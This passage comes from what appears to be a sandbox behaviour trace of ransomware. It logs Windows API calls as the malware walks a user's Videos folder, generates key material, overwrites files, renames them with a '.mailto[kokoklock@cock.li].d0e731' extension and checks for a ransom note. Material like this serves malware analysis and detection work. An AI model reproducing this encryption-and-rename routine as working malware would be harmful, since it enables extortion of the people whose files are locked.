5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\AJDrXahK.avi.mailto[kokoklock@cock.li].d0e731" [0176.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0176.729] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c542108, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c542108, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c567939, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.729] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.729] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.729] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c749740, ftCreationTime.dwHighDateTime=0x1d4c8f7, ftLastAccessTime.dwLowDateTime=0xfa9ad6c0, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0x8b0fd4ef, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gNw X.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GNWXSW~1.D0E")) returned 1 [0176.729] wcscmp (_String1="gNw X.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.729] wcscmp (_String1="gNw X.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x116) returned 0x2fa0220 [0176.730] wcscpy (in: _Dest=0x2fa0220, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0176.730] wcscat (in: _Dest=0x2fa0220, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0176.730] wcscat (in: _Dest=0x2fa0220, _Source="gNw X.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" [0176.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0176.730] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd145b0, ftCreationTime.dwHighDateTime=0x1d4d525, ftLastAccessTime.dwLowDateTime=0x80b22e90, ftLastAccessTime.dwHighDateTime=0x1d4ce55, ftLastWriteTime.dwLowDateTime=0x8b1238b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x889b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NCWPZW~1.D0E")) returned 1 [0176.730] wcscmp (_String1="Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.730] wcscmp (_String1="Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2fe24f0 [0176.730] wcscpy (in: _Dest=0x2fe24f0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0176.730] wcscat (in: _Dest=0x2fe24f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0176.730] wcscat (in: _Dest=0x2fe24f0, _Source="Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" [0176.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe24f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0176.731] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa900f5e0, ftCreationTime.dwHighDateTime=0x1d4ceb2, ftLastAccessTime.dwLowDateTime=0xcea2da40, ftLastAccessTime.dwHighDateTime=0x1d4c68b, ftLastWriteTime.dwLowDateTime=0x8b149a9e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbde0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SII9KX~1.D0E")) returned 1 [0176.731] wcscmp (_String1="SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.731] wcscmp (_String1="SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x124) returned 0x2fe2628 [0176.731] wcscpy (in: _Dest=0x2fe2628, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie" [0176.731] wcscat (in: _Dest=0x2fe2628, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0176.731] wcscat (in: _Dest=0x2fe2628, _Source="SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" [0176.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0176.732] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30207d8 | out: lpFindFileData=0x30207d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa900f5e0, ftCreationTime.dwHighDateTime=0x1d4ceb2, ftLastAccessTime.dwLowDateTime=0xcea2da40, ftLastAccessTime.dwHighDateTime=0x1d4c68b, ftLastWriteTime.dwLowDateTime=0x8b149a9e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbde0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SII9KX~1.D0E")) returned 0 [0176.732] FindClose (in: hFindFile=0x2f804a0 | out: hFindFile=0x2f804a0) returned 1 [0176.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30207d8) returned 1 [0176.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3af8) returned 1 [0176.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6a50) returned 1 [0176.733] RtlExitUserThread (Status=0x0) Thread: id = 2455 os_tid = 0xebc [0176.239] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.239] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0176.240] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x23affbec | out: lpFileSize=0x23affbec*=38992) returned 1 [0176.240] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x984c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.240] ReadFile (in: hFile=0x39c, lpBuffer=0x23affbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x23affbc0*, lpNumberOfBytesRead=0x23affbbc*=0x4, lpOverlapped=0x0) returned 1 [0176.241] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.241] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.241] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.241] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94c20 [0176.241] NtQuerySystemTime (in: CurrentTime=0x23affb98 | out: CurrentTime=0x23affb98*=132121213335487261) returned 0x0 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x76479bff [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x9715fbf1 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x7c1c414f [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xfce8bd4c [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xbe44b3d4 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xa7805dad [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xe21ee61d [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xf34ce69 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x1f91f16f [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xb0e1050a [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x2a80612b [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xe5778493 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x8c6c1de5 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x995f8377 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x53e689b9 [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x5761481e [0176.241] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x52297978 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xc0086ca [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xbefdb07e [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xa0f7f0f3 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xbdac5478 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x9888b077 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xca2ef526 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x4cbb4295 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xeea90be3 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xe2165b5e [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x63da556d [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0xee48687b [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x10a51d37 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x7a682e63 [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x6bdfd96e [0176.242] RtlRandom (in: Seed=0x23affba4 | out: Seed=0x23affba4) returned 0x7411bcf [0176.253] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.253] ReadFile (in: hFile=0x39c, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23affb70, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x23affb70*=0x4096, lpOverlapped=0x0) returned 1 [0176.253] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.253] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.254] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.254] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.254] WriteFile (in: hFile=0x39c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23affb70, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x23affb70*=0x4096, lpOverlapped=0x0) returned 1 [0176.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.254] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x9850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.254] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23affba8, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x23affba8*=0x20, lpOverlapped=0x0) returned 1 [0176.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.255] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94c98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f94c98*, lpNumberOfBytesWritten=0x23affbbc*=0x8, lpOverlapped=0x0) returned 1 [0176.255] WriteFile (in: hFile=0x39c, lpBuffer=0x23affbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x23affbd4*, lpNumberOfBytesWritten=0x23affbbc*=0x4, lpOverlapped=0x0) returned 1 [0176.255] WriteFile (in: hFile=0x39c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x23affbbc*=0x4, lpOverlapped=0x0) returned 1 [0176.255] WriteFile (in: hFile=0x39c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x23affbbc*=0x6c, lpOverlapped=0x0) returned 1 [0176.255] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x23affbbc*=0x20, lpOverlapped=0x0) returned 1 [0176.255] WriteFile (in: hFile=0x39c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23affbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x23affbbc*=0x4, lpOverlapped=0x0) returned 1 [0176.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.256] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.256] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c98) returned 1 [0176.256] CloseHandle (hObject=0x39c) returned 1 [0176.256] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fa0c60 [0176.256] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" [0176.256] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.256] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\o6chk3itpwrlkcnpbh.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.257] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.257] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.257] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\O6chk3iTPWrLKcnpBh.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.258] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2fc2f98 [0176.258] wcscpy (in: _Dest=0x2fc2f98, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0176.258] wcscat (in: _Dest=0x2fc2f98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0176.258] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0176.258] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2f98) returned 1 [0176.258] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d728) returned 1 [0176.258] RtlExitUserThread (Status=0x1) Thread: id = 2456 os_tid = 0xec0 [0176.259] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.259] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0176.260] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x23b7fdc8 | out: lpFileSize=0x23b7fdc8*=79211) returned 1 [0176.260] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x13567, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 